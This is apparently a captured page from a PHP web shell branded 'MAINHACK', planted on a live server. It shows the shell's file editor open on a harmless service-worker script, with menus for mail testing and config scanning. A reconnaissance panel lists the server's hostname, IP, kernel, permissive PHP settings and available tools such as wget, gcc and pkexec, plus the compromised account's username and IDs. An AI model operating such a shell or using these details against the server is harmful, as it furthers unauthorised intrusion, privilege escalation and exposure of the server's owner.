[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: sw.js
// Cached core static resources const contentToCache = [ "uploads/progressive_app_icons/icon-72x72.png", "uploads/progressive_app_icons/icon-96x96.png", "uploads/progressive_app_icons/icon-128x128.png", "uploads/progressive_app_icons/icon-144x144.png", "uploads/progressive_app_icons/icon-152x152.png", "uploads/progressive_app_icons/icon-192x192.png", "uploads/progressive_app_icons/icon-384x384.png", "uploads/progressive_app_icons/icon-512x512.png", "uploads/progressive_app_icons/apple-touch-icon.png", "uploads/progressive_app_icons/apple-touch-icon-57x57.png", "uploads/progressive_app_icons/apple-touch-icon-72x72.png", "uploads/progressive_app_icons/apple-touch-icon-76x76.png", "uploads/progressive_app_icons/apple-touch-icon-114x114.png", "uploads/progressive_app_icons/apple-touch-icon-120x120.png", "uploads/progressive_app_icons/apple-touch-icon-144x144.png", "uploads/progressive_app_icons/apple-touch-icon-152x152.png", "uploads/progressive_app_icons/apple-touch-icon-180x180.png", "/manifest.json", ]; const cacheName = "js13kPWA-v1-spescho"; self.addEventListener("install",async (e)=>{ e.waitUntil((async () => { const cache = await caches.open(cacheName); await cache.addAll(["/"]); })()); }); // Fetch resources self.addEventListener("fetch",(e)=>{ e.respondWith( (async () => { const r = await caches.match(e.request); if (r) { return r; } const response = await fetch(e.request); const cache = await caches.open(cacheName); return response; })() ); }); self.addEventListener("activate", (e) => { e.waitUntil( caches.keys().then((keyList) => { return Promise.all( keyList.map((key) => { if (key === cacheName) { return; } return caches.delete(key); }) ); }) ); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002